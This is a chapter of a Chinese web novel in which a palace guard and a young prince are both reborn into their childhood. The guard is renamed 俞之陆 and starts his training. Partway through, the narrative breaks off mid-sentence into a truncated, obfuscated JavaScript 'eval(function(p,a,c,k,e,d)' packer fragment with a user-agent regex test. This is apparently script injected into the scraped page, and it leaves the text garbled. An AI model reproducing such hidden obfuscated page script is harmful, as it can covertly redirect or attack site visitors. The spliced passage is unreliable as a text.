不知是不是宇文暾装病装得狠了,还是终于得见儿时的俞知路,宇文暾一时喜极,突地晕厥过去,不省人事。李夫人好受惊吓,连忙叫俞函带上宇文暾选的孩子,连道之后再来拜访湛府。李夫人临走前解释说:“暾儿很少向我讨什么东西,这还是第一次如此着急。” 湛李氏急切道:“若是不满意这孩子,让俞先生送他回我们湛府!” 马匹踏踏,落雪成泥。马车里的俞知路垂着脑袋,心想,怎的和上一辈子不一样? 13.装笨 俞知路以余光瞧着晕倒的宇文暾,层层狐裘将他埋住,只露出他那张姣好的脸,正是这张脸骗了俞知路这么多年;俞知路的左手边坐了师父俞函,师父与李夫人低声对谈,没想到李夫人问的尽是江南之人情风貌。马车行慢,摇摇晃晃,一个拐弯,始见宫门,俞知路以手指轻拨开马车窗帘,这皇宫好大,却是再熟悉不过的了。 俞知路今个一醒来,屋顶是屋顶,通铺是通铺,他还以为自己在皇陵遇险遭救,一起身才发觉内力几乎全无。再一低头,短手短腿,是小孩体貌。俞知路不愿细想,往后一倒继续睡,定是出现了幻觉。 然后,他便是被师父俞函给直接踢下了床。俞知路揉屁股,心道,我这是怎么一回事?难道是上天看我命不该绝,给我重来的机会? 大半天过去,俞知路发觉今日就是宇文暾领他回蓬阳殿的日子。俞知路的记忆并不好,只大致记得些重要事件,可他将今日发生的事记得很牢:在上一辈子,宇文暾与李夫人上午便来静室挑人,俞知路甚至中午就跟着宇文暾、李夫人去席间用饭了,他们宣称俞知路是湛明光的远房亲戚,与俞函也有些血缘关系。李家姐妹出自武将世家,李夫人虽矜贵高傲,可她却不太看重位次阶级一事,她在嫁与当今皇帝之前,甚至比湛明光更爱养门客,因此带一位门客之侄回宫很是正常。 这一辈子,不说诸多细节,光是时间上就有大出入。 宇文暾与李夫人几近中午才抵达湛将军府。而下午俞知路竟然听见将军夫人与将军吵架,吵的便是有关俞知路的事!原来湛将军上一世是瞒着夫人将俞知路纳入了待选暗卫名单,为的是讨好李夫人与李家,若李家愿多作提携,湛将军就有希望从中护军升任卫将军。湛李氏不必说,当然向着丈夫,但皇帝的枕边人毕竟是李夫人。李公很宝贝这两位女儿,若姐妹都同意,李公也不会推辞。 湛李氏气极,她真以为俞知路是给湛飞羽留的护卫,说什么也不肯让。若要让,那可以与姐姐谈条件,不然怎么都不划算。于是乎晚上便上演了一出戏,湛李氏装傻,湛明光演技拙劣,湛飞羽童言无忌,宇文暾晕倒在地,李夫人一挥衣袖,匆匆回府,果真多答应了湛家一个条件。 俞知路狐疑,自己是重活了一辈子,宇文暾呢? 俞知路只见得宇文暾晕倒在地,李夫人几乎是抢走俞知路,他方才在暗室里模糊听见宇文暾说话,大抵是飞羽介绍了自己,勾起宇文暾兴趣。以宇文暾的机灵劲,他的确会追问听来的线索,无法判断他是不是重生。 俞知路脑袋里乱糟糟的,什么都还没想好。真希望有纸笔,他还能写下来稍作整理。 重活一世,俞知路很是矛盾,有诸多选择摆在他面前。他可以选择出宫,也可以留在宫中。他可以往北边去,也可以下江南。但最重要的问题恐怕是:他还要选宇文暾么? “选”?俞知路自嘲,自己难道要换一位皇子去侍奉?还是要换个人……换个人做什么呢?俞知路很迷茫。 俞函侧望过来,俞知路下意识抖了抖。对,俞函会看住他。 自己这师父也是个怪人。俞知路自始至终没搞懂过俞函,他行事乖张,难以捉摸,俞知路只知道俞函现在愿意驻守京师,是因为李家与湛明光合力救下一位盲眼女医仙,这位医仙险些下狱,是李家势力出手相助了。俞知路想起他的好哥们儿俞四,俞四是这群暗卫里唯一对药理很开窍的人,给送到医仙身旁做助手,只可惜医仙几年后去世,医者难自医。 总之,总之,冬天好难捱,俞知路有些打退堂鼓,要不先在蓬阳殿将就将就。 真希望宇文暾没有重生。俞知路真诚许愿道。 御医深夜来访,为宇文暾诊脉开方。俞知路自知这第一年要做皇子的小侍从,只得候在床边罚站。大人来来往往,李夫人坐在桌前静思,半晌,李夫人方发现俞知路还在这里,她道:“可会说话?怎的一声不吭。” 俞知路脑子懂得中原官话,嘴巴却跟不上,怪腔道:“会说的,夫人。” “嗯,不要紧,这官话多学学就会了。可有用过晚饭?” 俞知路摇头。李夫人便差遣辛阑带俞知路下去用饭,将他安置在一旁的耳房居住。俞知路离开前,深深望了宇文暾一眼,这病秧子宇文暾,小时候尤其爱生病。 回到熟悉的耳房,俞知路深呼吸,心下有些不愿意睡觉,怕今天所经历的一切皆是幻觉——怕重生是场幻觉。都是那妖石所害!说不定这也是妖石造出来的幻景。俞知路一夜未眠,在床上运功,恐惧地发现自己所练的飞神功、匡机经全付诸东流,大小周天运转不通,没有内力!俞知路冷汗直流。 直至卯时,三皇子寻常起床的时间,俞知路睁眼,习惯性地穿衣,穿了一半才想起,他还根本没有学过怎样伺候三皇子殿下。 俞知路决意要做一个只比上一辈子聪明一点点的俞知路——太聪明了不是好事!不论宇文暾是否重生,宇文暾都是很难搞的一个人。 于是俞知路脱了衣裳,滚回被褥中装睡。这一躺下竟然真让俞知路睡着了,辛阑一个时辰后才来叫醒俞知路:“小弟,你穿好衣服随我来,三皇子殿下与夫人要见你。” 这时俞知路还未得赐名,这声“小弟”唤得俞知路后颈痒痒的,他这才发觉,自己也挺想念辛阑。当年李家遭难,蓬阳殿的宫人亦受罚,俞知路拼了老命救出辛阑,可辛阑还是于一年后病逝,好人薄命。至于辛夷,俞知路甚至没能救下来。门外辛夷正等候,托着几件折好的幼童袍子,是蓬阳殿为俞知路准备的换洗衣物,她等俞知路出了耳房,再将衣服放进去。 “母妃,我昨日真这么说?” “我还从未见过你这样撒泼打滚!瞧,人来了。阿渠,靠近些。”李夫人向俞知路招手。 宇文暾几不可见地撇了撇嘴,端正皇子貌,优雅地看过来。 俞知路不自觉地对上宇文暾双眸,旋即垂首,不好与皇子直视。 李夫人道:“这孩子来自‘贺渠’部族,中护军府上喊他阿渠……” “你可有名姓?”宇文暾问道。 这可真把俞知路问住了。他确有胡人名字,可俞知路已多年未用过了。要换新名字么?俞知路踌躇片刻,顿觉麻烦,兴许他现在还没做好换名字的心理准备。俞知路摆首,干脆佯装自己是一无所有的孤儿吧。 宇文暾缓缓道:“既然是俞先生带来的,可随俞先生姓。飞羽说他一顿能吃六碗饭,取个吉数‘陆’吧,正好与其他暗卫编成一队。你就叫‘俞之陆’如何?” 我这时候就一顿能吃六碗饭了么?俞知路心惊。他当真是记不住了,兴许他真做过这样的事呢?俞知路小时候做事没轻没重,很不过脑子,好吃食,这也合得上。 俞知路认下这名字,带着口音重复了一遍,又沉默下来。 只有李夫人大惊失色道:“小妹真是送了个饭桶给我啊!难道我是被小妹诈了,故意送这小家伙过来,还骗我多给一个好处……”说着说着,李夫人自己也觉这想法可笑,她宫中难道还养不起个孩子了?李夫人命辛夷、辛阑从今日起开始教导俞知路,要他照顾宇文暾的衣食起居。 今日正好照顾生病的宇文暾,身为三皇子殿下的侍从,俞知路就得习惯照顾病人这回事。 李夫人既然听得“一顿能食六碗饭”的传闻,便叫侍女们喂饱了俞知路。饭毕,从膳房出,辛阑端来药粥,宇文暾恹恹不愿下床,原是要侍女喂粥的,宇文暾却忽然道:“之陆给我喂粥!” 俞知路莫名被喊了过来,辛阑为难道:“还是让奴婢来吧,三皇子殿下,俞之陆还小呢,若他一个手颤打翻了粥,夫人是要罚我们的。” 俞知路的眼神如此无辜,宇文暾忽然给自己敲了警钟——他幼时可是很善解人意的,可为众皇子典范。一想到此,宇文暾只好自己打圆场:“我开个玩笑。我这便下床了,辛阑,我自己来。” 俞知路并非故意沉默,而是确实没有说话的余地。俞知路不大能看出来,眼前的宇文暾确实是六岁的孩子,还是如俞知路一般,内里装了成年的灵魂。 宇文暾却是觉得,眼前的俞知路好像挺拘谨,不像是装的。难道俞知路没有重生? 宇文暾今个一睁眼,再看见蓬阳殿房梁,心里只剩喜悦,原来自己真是重生了。若俞知路没有前世的记忆,那宇文暾恰好就有机会调查,为何他们这样一对竹马夫妻,最终落得如此下场。究竟谁欠了谁,谁应当有愧,宇文暾暂时按下不表。 二人的童年时光还算美好,直到那妖石现世之前,他们还有一段好时光可享受。一想到此,宇文暾就浑身轻松不少,亦不在意这持续的病气了。 辛阑见三皇子愿意下床用饭,便叫辛夷再送几道小菜来,三皇子殿下光吃粥可是不够妥帖的。俞知路下意识站去自己常站的角落,但宇文暾太适应了,二人便都未发现这一点。 到了戌时,俞函来接俞知路出宫练武、习字。一听说三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞知路本就是天才,更何况这是他第二遍学。只需俞函一教,俞知路当即就做出最标准的姿势,俞函很满意。练够了时辰,俞函又领俞知路去课室,俞知路思考,武学方面可以高标准严要求,学字方面要不要藏拙呢?他真怕俞函抱有不切实际的希望,觉得自己遇见通才了。 聪明难装,装笨还不容易?俞函教字教得难受,怎的有这样笨的孩子。 夜深,俞知路疲于赶路,便对俞函道:“师父,我想在这睡。” “李夫人既然已差遣宫人陪同你来,就得将你接回去。” “可我又不去别的地方,就是在暗卫营里,同其他人一起睡!我们在湛府也是睡大通铺!” 忽然,暗卫营外有宫人声音来传:“三皇子殿下来访!” 俞函惊异道:“三皇子殿下怎么会来?李夫人会同意他出宫?” 出了门一看,才发现原来李夫人也来了。换句话说,正是李夫人前来,三皇子才得以一道出门。三皇子给搀扶着下了马车,李夫人随后。俞函前去迎接,李夫人道:“暾儿想知道这暗卫营究竟是什么模样,正巧我心情不爽利,出宫带他逛逛。暗卫营竟这般远,我叫你们走路,怕是平添辛苦了,之后都换骑马如何?” “可是皇宫附近,奔马有风险……” “真是麻烦,那叫马车也不妥当了。”李夫人决定先参观暗卫营,再作打算。 方才宇文暾在马车里一直喊远,李夫人听得耳朵都要生茧了。走路是远了些,可坐马车要得了多少功夫?临到下车,李夫人才反应过来,原来宇文暾在替新来的小侍从打抱不平呢。 “李夫人,恕我冒昧,三皇子殿下也要学武吗?” 俞函见宇文暾也东摸摸、西摸摸这暗卫营的诸多武器,不禁发出疑问。 李夫人很是玩味地看宇文暾玩双手锏,她知晓宇文暾不爱做这些出汗之事,怎么突然转性? 忽然,有什么冰冷长物挨了挨李夫人的右手。李夫人低头,是俞知路拿了弓箭来,也不说话,就睁着大眼睛可怜巴巴地求着李夫人。李夫人问:“怎么了?” 俞知路道:“将军说,夫人会射箭。” 李夫人接过弓箭,很快找到箭靶,距离已逾十米。现下营中空旷,视野无障碍,李夫人挽弓搭箭,随意一放,正中靶心,就连力道也是正正好的,箭柄垂直,箭矢尽数没入靶中。 “岂止是会?我李家人从没在弓箭上吃过亏。”李夫人将弓还给俞函,口吻轻松。